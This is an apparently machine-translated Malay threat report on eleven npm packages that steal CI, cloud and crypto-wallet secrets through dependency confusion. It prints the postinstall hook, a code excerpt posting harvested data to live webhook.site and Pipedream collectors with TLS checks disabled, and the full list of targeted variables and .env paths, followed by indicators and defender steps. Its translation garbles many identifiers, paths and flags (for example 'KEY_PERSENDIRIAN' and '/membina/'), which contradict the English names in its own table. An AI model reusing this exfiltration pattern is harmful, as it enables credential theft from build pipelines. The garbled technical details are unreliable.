TL; DR
Pada 2026-06-17, satu akaun npm diterbitkan sebelas pakej yang berkongsi satu tujuan dan satu muatanSepuluh daripada mereka membawa cryptodao- awalan (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); yang kesebelas ialah yang berskop @public-for-cdao/coreSetiap satu telah diterbitkan pada versi 99.99.99 dan menghantar bait yang serupa recon.js yang berjalan pada postinstall.
Nama-nama itu adalah petunjuk. Ia dibaca seperti blok binaan dalaman rantaian alat peribadi projek kripto/DAO. Diterbitkan ke daftar npm awam pada versi buatan yang tinggi, ia menunggu binaan. pipeline yang dikonfigurasikan untuk menyelesaikan nama-nama tersebut dan yang mencapai npm awam sebelum — atau sebagai ganti — pendaftaran persendirian. Ini adalah kekeliruan kebergantungan, dan muatan ditala untuk tepat di mana ia dijangka mendarat: CI/CD pelari.
Bila postinstall kebakaran, recon.js mengumpul butiran hos, menyapu secara kasar empat puluh pembolehubah persekitaran awan, CI dan dompet kripto, membaca mana-mana .env fail yang boleh dicari dan diteruskan baris rahsia secara verbatim, kemudian menghantar berkas tersebut kepada dua pengumpul — webhook.site dan titik akhir Pipedream — dengan pengesahan sijil TLS dinyahdayakan. Salinan juga ditulis di bawah /tmp.
Keparahan: tinggiEkosistem yang terjejas: npmKesemua sebelas pakej telah dilancarkan pada masa penulisan ini.
Anatomi serangan
Mekanisme ini mempunyai empat bahagian yang bergerak, dan tiada satu pun daripadanya yang halus sebaik sahaja anda tahu lihat satu lapisan melepasi nama pakej.
1. Versi inflasi sebagai gewang penyelesai. Setiap pakej mengisytiharkan versi 99.99.99Kekeliruan kebergantungan berfungsi apabila pengurus pakej, meminta nama dalaman, juga menyemak daftar awam dan memilih versi tertinggi finds. Pilihan lalai npm untuk julat caret atau wildcard ialah versi paling memuaskan merentasi setiap sumber yang dikonfigurasikan; jika kedua-dua sumber persendirian registry dan jawapan npm awam untuk nama yang sama, nombor versi yang lebih besar menang. A 99.99.99 mengatasi pada dasarnya mana-mana versi dalaman sebenar yang akan dimiliki oleh sesuatu projek dicapai, jadi penyelesai yang tidak disematkan pada sumber peribadi lebih suka awam — dan dalam kes ini, salinan bermusuhan. Pengendali tidak perlu mengetahui nombor versi sebenar sasaran; memilih maksimum yang tidak masuk akal menjamin seri sentiasa memecahkan jalan mereka.
2. Pencetus pasca pemasangan. package.json menyambungkan muatan ke pemasangan kitaran hidup:
{ "scripts": { "postinstall": "node recon.js" } } Tiada import pakej diperlukan. Hanya perlu memasangnya — yang merupakan CI pipeline melakukan secara automatik — berjalan recon.js.
3. Penyapuan rahsia yang luas. recon.js memasang tatasusunan hasil secara berperingkat:
- Konteks hos: nama hos, platform dan keluaran, seni bina, nama pengguna, cara kerja direktori.
- Pembolehubah persekitaran: ia mengulang senarai tetap kira-kira empat puluh nama dan rekod mana-mana yang ditetapkan. Senarai ini mendedahkan — ia memasangkan token CI generik (CI_JOB_TOKEN, KATALALUAN_DAFTAR_CI, GITLAB_ACCESS_TOKEN) dan awan kelayakan (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) dengan rahsia pendaftaran dan kontena (NPM_TOKEN, DOCKER_PASSWORD, KATALALUAN_PELAYARAN) dan gugusan berperisa kripto yang tersendiri: KEY_PERSENDIRIAN, MNEMONIK, SEED_FRASE, KEY_API_INFURA, KEY_API_ALCHEMY, ETH_RPC, BSC_RPCNilai yang direkodkan dipendekkan kepada 50 aksara pertama.
- .env fail: ia menyiasat senarai laluan — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, dan .pengeluaran/pembangunan varian — dan untuk sebarang fail yang wujud, ia menapis kandungan kepada baris yang sepadan KUNCI|RAHSIA|TOKEN|LULUS|PERSENDIRIAN|MNEMONIK dan menolak baris tersebut **sepenuhnya, tidak terpotong** ke dalam hasil carian.
- Konteks bina-hos: ia menyenaraikan 20 entri pertama bagi /membina/, /home/gitlab-runner/binaan/, /var/lib/pelari-gitlab/, dan / tmp /.
Senarai laluan dan senarai pembolehubah ditimbang ke arah pelari GitLab, yang menunjukkan muatan tepat pada infrastruktur CI yang dihoskan sendiri dan bukannya pembangun komputer riba. Mengelompokkan senarai hasil tuaian mengikut kategori menjadikan hasil tangkapan yang dimaksudkan adalah rata:
| kategori | Pembolehubah / laluan dicapai |
|---|---|
| CI/CD identiti & penggunaan | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Awan | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Pendaftaran & bekas | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Kedai data | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Kripto / rantaian blok | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Pesanan | SLACK_TOKEN, DISCORD_TOKEN |
| Pada cakera | .env keluarga + /home/gitlab-runner/.env, /root/.env, /app/**/.env; senarai direktori bagi /builds/, /var/lib/gitlab-runner/ |
Gugusan kripto adalah bahagian yang membezakannya daripada rahsia CI generik sapuan: frasa benih dompet dan kunci tandatangan hanya muncul dalam persekitaran a projek blockchain, dan mereka memetakan terus ke kriptodao-/tanda/kontrak penamaan pembawa.
4. Pengekstrakan berganda dengan pengesahan dinyahdayakan. Susunan yang dikumpul ialah bersiri dan diposkan ke dua destinasi:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) tolakTidak dibenarkan: palsu mematikan semakan sijil TLS untuk keluar panggilan. Data yang sama dicetak ke stdout (jadi ia juga berada dalam log kerja CI) dan bertulis kepada /tmp/.npm_recon_ .jsonKesilapan ditelan secara senyap, jadi a penghantaran yang gagal tidak meninggalkan sebarang kesan dalam output pemasangan melebihi satu [peninjauan] dipasang pada line.
Satu komen utama dalam fail tersebut menggambarkannya sebagai "Kekeliruan Kebergantungan Beban Peninjauan.” Pemotongan nilai persekitaran kepada 50 aksara telah bentuk bukti konsep. Apa yang menggerakkannya melepasi suar kehadiran sahaja ialah .env pengendalian: talian galas rahsia dimajukan sepenuhnya, dan destinasi adalah dua pengumpul yang berfungsi dan dikawal oleh penyerang dan bukannya sinki yang hanya dikira hits.
Timeline
Corak terbitan ialah tandatangan bagi satu tolakan skrip, bukan sebelas muat naik bebas.
| Masa (UTC, 2026-06-17) | Acara |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 diterbitkan |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — varian berskop, ~24 minit kemudian |
Sepuluh bungkusan dikeluarkan dalam tempoh 29 saat, kira-kira satu setiap tiga saat. Berskop @awam-untuk-cdao/teras diikuti kira-kira 24 minit selepas — satu saat konvensyen penamaan untuk sasaran yang sama, sekiranya projek pengguna merujuk kepada rantaian alat dalaman di bawah skop dan bukannya sebagai nama kosong.
Petunjuk kompromi
| Jenis | Petunjuk |
|---|---|
| Pemungut | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Pemungut | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Pasang cangkuk | postinstall: node recon.js |
| Fail yang digugurkan | /tmp/.npm_recon_<timestamp>.json |
| Penanda log | [recon] <pkg>@<ver> installed on <hostname> (stdout dalam log CI) |
| Kelakuan | rejectUnauthorized: false pada HTTPS keluar semasa pemasangan |
| Muatan | recon.js, sama merentasi semua sebelas pakej (satu binaan kongsi) |
| versi | 99.99.99 pada setiap pakej |
| Kami | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (semua 99.99.99) |
| Penerbit | aduljune / aduljune@proton.me (emel tidak disahkan, tiada repositori sumber yang dipautkan) |
Atribusi & tingkah laku yang diperhatikan
Segala-galanya tentang kluster itu menunjukkan satu pihak. Kesemua sebelas pakej telah diterbitkan oleh akaun npm aduljune (aduljune@proton.me, alamat yang tidak disahkan tanpa repositori sumber yang dipautkan), dalam tempoh 25 minit, pada masa yang sama 99.99.99 versi, penghantaran recon.js yang kandungannya adalah bait demi bait yang sama merentasi setiap pakej (MD5 sepadan merentasi semua sebelas salinan yang diekstrak). Itu adalah satu muatan dicop pada senarai nama, bukan penggunaan semula kod bebas.
Senarai nama mentakrifkan sasaran yang dimaksudkan. cryptodao-* dan cdao memerihalkan susun atur modul persendirian bagi projek kripto/DAO dan senarai tuaian muatan cermin yang meneka: di samping rahsia CI dan awan generik, ia secara khusus mencapai untuk KEY_PERSENDIRIAN, MNEMONIK, SEED_FRASE, dan Ethereum/BSC RPC dan kunci pembekal. .env laluan carian dan senarai direktori ialah GitLab-runner spesifik. Kesan yang boleh diperhatikan ialah sebarang pipeline ditipu untuk memasang ini nama akan menghantar token CI, kunci awan dan cakera pada .env rahsia — dan, untuk projek blockchain, bahan dompetnya — kepada dua pengumpul pihak ketiga.
Kami tidak membuat sebarang tuntutan tentang siapa yang mengendalikan akaun tersebut atau apa yang mereka rancang untuk lakukan dengan akaun tersebut. data. Fakta yang berdiri sendiri: nama-nama tersebut menyasarkan jenis tertentu rantaian alat dalaman, muatan membaca dan menghantar nilai rahsia sebenar, dan infrastruktur telah beroperasi.
Impak, trend dan panduan pembela
Kekeliruan kebergantungan kekal berkesan kerana ia mengeksploitasi tingkah laku penyelesai, bukan kerentanan dalam mana-mana pakej. Pembawa di sini adalah remeh — sebelas hampir kosong pakej — tetapi jejari letupan adalah apa sahaja pipeline secara tersilap lebih suka npm awam untuk nama dalaman. Pelari CI adalah tempat paling teruk untuk perkara itu berlaku: mereka memegang betul-betul token dan .env fail yang dibaca oleh muatan ini, dan mereka memasangnya kebergantungan secara tidak interaktif, jadi a selepas pemasangan berlari tanpa sesiapa yang memerhati.
Kelompok ini juga sesuai dengan corak yang terus kita lihat: muatan masa pemasangan yang membentangkan sebagai "penyelidikan" atau "peninjauan" semasa melakukan pengumpulan kelayakan sebenar. Label tersebut dalam fail tidak mengubah apa yang dilakukan oleh kod pada pelari. Dua pilihan reka bentuk kekal aktiviti senyap: setiap operasi rangkaian dan sistem fail dibungkus dalam pengendali pengecualian yang membuang ralat, jadi penghantaran yang disekat atau fail yang hilang tidak menghasilkan output diagnostik, dan satu-satunya perkara yang dicetak hanyalah satu yang tidak berbahaya [peninjauan] … dipasang talian yang sebati dengan perbualan pemasangan biasa. Penggunaan webhook.site dan Pipedream juga merupakan kemudahan yang disengajakan — kedua-duanya percuma, perkhidmatan tangkapan permintaan yang disediakan serta-merta, jadi pengendali tidak memerlukan pelayan mereka sendiri dan destinasi kelihatan seperti nama hos SaaS biasa dalam log keluar.
Ekonomi adalah apa yang menjadikan ini berbaloi untuk perhatian seorang pembela walaupun kod pembawa adalah mudah. Mendaftarkan sebelas nama tidak memerlukan sebarang kos, muatannya adalah satu fail disalin sebelas kali, dan pengurus pakej melakukan semua pelaksanaan. Satu dikonfigurasikan dengan salah pipeline mana-mana sahaja yang menggunakan salah satu daripada nama ini membayar keseluruhannya operasi.
Langkah-langkah konkrit untuk pemain pertahanan:
- Sematkan skop dalaman pada pendaftaran peribadi anda. Konfigurasikan npm supaya nama dalaman
dan skop hanya diselesaikan terhadap pendaftaran anda (pemetaan pendaftaran .npmrc berskop, atau proksi yang tidak pernah jatuh ke npm awam untuk ruang nama yang dimiliki). Rizabkan nama skop awam anda supaya tiada orang lain boleh mendaftarkannya.
- Commit lockfiles dan pasang dengan skrip –ignore-scripts dalam CI jika boleh dilaksanakan, atau semak set kecil kebergantungan yang benar-benar memerlukan skrip pemasangan. recon.js tidak boleh dijalankan jika selepas pemasangan tidak dilaksanakan.
- Layan versi 99.99.99 (atau versi lain yang sangat tinggi) bagi nama yang kelihatan dalaman sebagai bendera merah dalam semakan kebergantungan dan pemantauan pendaftaran.
- Amaran tentang keluar masa pemasangan. A selepas pemasangan yang membuka HTTPS keluar sambungan — terutamanya dengan pengesahan sijil dilumpuhkan — untuk webhook.site, Pipedream atau perkhidmatan tangkapan permintaan yang serupa patut disekat di pinggir rangkaian dan ditandai dalam log binaan.
- Memburu artifak-artifak tersebut. Semak pelari untuk /tmp/.npm_recon_*.json dan bagi [recon] … dipasang pada … penanda dalam log CI terkini. Jika ditemui, putar setiap kelayakan yang terdedah kepada itu pipeline — Token CI, kunci awan, token pendaftaran dan sebarang benih dompet atau kunci peribadi yang terdapat dalam fail persekitaran atau .env.
Rujukan
Tiada laporan luaran mengenai kluster ini wujud pada masa penulisan; analisis di atas adalah berdasarkan terus kandungan pakej yang diterbitkan




